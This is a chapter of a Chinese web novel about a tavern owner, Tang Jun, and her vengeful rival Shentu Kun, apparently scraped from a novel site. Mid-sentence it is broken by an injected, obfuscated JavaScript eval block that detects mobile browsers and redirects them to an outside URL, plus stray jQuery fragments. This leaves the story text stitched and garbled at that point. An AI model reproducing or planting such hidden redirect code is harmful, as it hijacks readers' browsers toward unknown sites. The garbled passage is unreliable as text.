20. 第20章
作品:《假千金带球跑后》 第二天,妙胜阁照常营业。
甲奴还没从客人那里打探到申屠鲲来随州的目的,申屠鲲就主动踏进了店里。
“掌柜的,听说妙胜阁还兼着消息买卖的生意?”
申屠鲲来到柜台,屈指敲了敲台面。
唐珺抬头,见是他,不动声色道:“没错,客人是要买消息还是卖消息?”
申屠鲲:“买。”
唐珺递过去一张预约单,上面写着序号“三十八”,还盖了妙胜阁的印戳。
印章是唐珺从系统里抽出来的特殊物品,这世间无人能够仿制,盖出来的印戳是最好的防伪标识。
“等店里打烊了,客人再来吧。”
她白天得看店,哪儿有工夫买卖情报消息?
她会将来卖买消息的客人集中在某一天,统一进行接待。
今晚就是统一接待的日子,晚上得加班了。
申屠鲲拿着预约单看了看,“何时打烊?”
唐珺:“戌时后。”
申屠鲲还想再问什么,有个客人过来了,“掌柜娘子,结账。”
唐珺对申屠鲲道:“麻烦往边上让让,别挡道。”
拿过算盘噼里啪啦拨弄了一通,报出账目:“一共是1687文,给您抹个零,收您1600文。”
客人递过来一锭银子。
唐珺称量后发现有二两,也就是两千文。
她正要找钱,客人道:“不用找了,直接给我充进会员卡吧,下次来用得上。”
说着递过来一张巴掌大的烫金卡片,上面刻印着客人的名字、编号以及等级。
等级越高的客人,会员卡越贵重精美,会员享有的待遇也越好。
一级会员卡是纸质,二级是木制,三级铜制,四级银制,五级就是金子制作的了。
不过目前为止,店里还没有出现一位金卡客人。
因为要达到五级,得消费一万两银子以上。
唐珺笑道:“看来您是我们店里的常客。这是我们自己酿的桃花酒,您拿回家尝尝,喜欢的话再来。”
客人喜滋滋地接过来,“多谢了。”
妙胜阁的酒可是极品,若是在店里买的话,这一小瓶酒就得好几两银子了。
不过对于好酒之人来说,只要酒的滋味美,花再多钱也值得。
这位客人,就是一位好酒之人。
送走客人,唐珺发现申屠鲲已经不见了,大概是走了。
结果她扫了一眼,看见他在刚才那位客人空出来的位置上坐下了。
还点了一桌子菜。
面对满桌的珍馐,申屠鲲面色十分平淡,毫无动筷的意思。
他招来甲奴:“把你们掌柜的叫来,我有事跟她说。”
甲奴转身去请唐珺。
看着他的背影,申屠鲲眸子眯了眯。
此人看着颇为眼熟。
像是从前跟在阿蛮身边的那个大个子昆仑奴。
不过昆仑奴天生皮肤黝黑,而这个大个子跑堂,皮肤却白嫩得很,像是从未晒过太阳。
应当不是一个人。
唐珺来到申屠鲲桌前,微笑问:“客人有什么事?”
申屠鲲往汤碗里一指,“有虫子。你们妙胜阁菜价如此高昂,却连基本的卫生都无法保障吗?
“掌柜的最好现在就打烊,不然的话,我只好将此事宣扬开来,让你这店里一桌客人都留不下。”
唐珺:“虫子是你故意放的。”
申屠鲲露出一抹微笑,得意又恶毒,像是在说,你猜到了又如何?
连演都不演了。
死小子,欠打!
啪!
唐珺抬手甩了他一巴掌,“爱吃吃,不吃滚蛋。甲奴,把他丢出去。”
周围的一众客人:“!!!”
娘哎,掌柜娘子掌掴客人了!
他们单知道掌柜娘子不好惹,没想到她竟然不好惹到这种地步,连客人都敢打。
当唐珺目光扫视过来时,客人们纷纷收回视线,埋头吃饭。
生怕自己沦为下一个被掌掴的对象。
甲奴将申屠鲲拎出店,丢在了大街上。
站在人来人往的大街上,申屠鲲感受到脸上火辣辣的疼,茫然震惊的表情猝然一变。
变得愤怒阴狠,杀气腾腾。
唐珺!
原来她没死!
以他的功力,不可能躲不过一个掌柜娘子的耳光。
偏偏他就是没躲开。
当她扇过来时,他的身体仿佛成了一具木雕傀儡,只能僵在那儿给她扇。
事后想要反击时,身体却变得虚软无力,连手都抬不起来。
活到这么大,能让他身体产生失控感的,唯有一个唐珺!
好啊!真是好极了!
原本他还遗憾没法亲手报仇。
现在么,他可以好好跟她玩、玩了。
店里,唐珺对众人道:“叫诸位受惊了,我给大家敬一杯酒。”
拿着一壶桃花酿,给客人挨个倒了杯酒,而后举起酒杯,统一敬酒。
“我先干为敬。”
“掌柜娘子好酒量!”
“呀,这酒真不错,再给我来一杯。”
唐珺嗔怪道:“你想得美,想继续喝,就拿银子来买。五两银子一瓶,一共就一百瓶,先到先得,卖完了就没有了。”
“给我来一瓶!”
“我要五瓶!”
唐珺笑盈盈道:“别抢别抢,都有。”
看着唐珺跟客人们谈笑风生,申屠鲲的拳头捏得嘎吱作响。
恨不得立刻就冲进店里把这个女人给杀了。
但是想到她身上的古怪之处,他不得不死死按捺住这股冲动。
哼,唐珺,你等着,迟早有一天——
店里,唐珺似有所觉,朝街上扫了一眼。
申屠鲲心头一跳,落荒而逃。
走了几步反应过来,他为什么要逃?
想到此,他一阵抓狂。
啊啊啊唐珺,我与你势不两立,不共戴天!
*
入夜后,妙胜阁门口的琉璃花灯亮了起来。
莲花造型的花灯中央托着一颗拳头大小的琉璃珠,散发出炽白的光芒,将门前的这方地界照得亮如白昼。
别家的灯笼和这琉璃花灯比起来,便显得黯淡无光。
一辆马车慢慢驶了过来,停在不远处。
申屠鲲从车上下来,身上披着件火红的狐裘披风。
倒不是故意穿得这么拉风,而是因为,三年前死而复生的他元气大伤,本就畏寒的他更沾染不得一点寒气了。
想到罪魁祸首过得那般逍遥自在,申屠鲲盯着妙胜阁的眼神陡然阴鸷下来。
妙胜阁门口排了一长条队伍。
申屠鲲皱了皱眉,径直走到排在最前面的人面前,“把你的位置让给我,一百两。”
听到前面半截,为首之人横眉怒目:“我看你是——”
“活腻了”三字还没出口,听
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16191296|180374||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
见后半截,瞬间改口:“长得真合我眼缘。”
申屠鲲递过去一张百两银票,把为首之人的预约号(十七号)换了过来。
很快,就轮到他了。
负责引导的甲奴带着申屠鲲上了二楼。
二楼有一个客厅,一个接待室,一个休息室,专门布置出来做情报交易的。
客厅里有沙发、茶几、书架。
书架上摆满了书,都不是啥正经书,而是闲书。
野史、志怪、话本、游记、小说……甚至还有避火图(春-宫图)。
除了这些,还有豪门秘闻、情报期刊、随州日报等等。
都是一些为人所不齿,但分外吸引眼球的东西。
沙发上,有两个客人在等候,都拿着一本书看得入迷。
对申屠鲲的到来毫不在意,头也没抬。
甲奴给申屠鲲倒了杯水,“客人若觉得无聊,可以阅览书架上的书,但不要弄坏了。”
申屠鲲随意拿了本《戏说江湖》,靠在书架上看起来。
原本只打算随便翻翻,打发下时间。
没想到这一翻,就不由自主看进去了,身体也不自觉站直了。
嘶,德高望重的江湖前辈竟然跟小姨子有一腿?
剑术超群的大佬年轻时竟然干过这种事?
震惊!绝色美人为了他,竟然甘愿跟一个老头子……
头一次接触“震惊体”的申屠鲲,很轻易就被套路了。
“十七号,你可以进去了,十七号?”
“哦,到我了?”申屠鲲惊觉时间竟过得这么快,意犹未尽地放下手里的书。
唐珺这个女人真是邪性,竟试图用这种邪书来腐蚀我的心志。
哼,我可不会让你得逞!
申屠鲲像条直立而起的毒蛇,如临大敌般走进了接待室。
一踏进去,他不由得被震住了。
接待室看起来无比的宽阔、干净、明亮,入目皆是白色,柔和圣洁的白,一点也不刺眼。
身处这样一个空间之中,让人的心灵都好似被净化了般。
不知何处传来空灵悦耳的乐曲,是他从未听过的。
白色沙发上的唐珺朝申屠鲲做了个“请”的手势,“坐。”
申屠鲲在她对面坐下来。
沙发柔软的触感让他的屁股有些不得劲儿,不过坐久了,倒是觉得挺舒服。
“客人想知道什么?”
申屠鲲哼了声,阴阳怪气道:“掌柜娘子好大的口气,难道我想知道什么,你都能告诉我?”
唐珺也不惯着他:“这得看客人出不出得起价了,有钱,便是连皇帝的死期,我都能告诉你,没钱,那你就哪儿来的回哪儿去,甭在这里浪费我的时间。”
申屠鲲瞪着她,见她一点都没被自己吓到,始终一副泰然自若的淡然表情,自己反倒破防了。
这个死女人,怎么这么能装!
想到什么,他忽然勾唇一笑,“那你可知你自己的死期是什么时候?”
唐珺意味深长道:“我不知道我的,但我知道你的。”
申屠鲲:“……”
唐珺朝茶几上的沙漏指了指,“等沙漏里的沙子漏完,你就得出去,你确定还要浪费时间?”
申屠鲲看着已经漏了大半的沙漏,气得胸口起伏,这死女人刚才怎么不提醒他?
她一定是故意的!
冷静下来后,申屠鲲不再废话,开门见山问:
“轩辕楚在哪儿?”

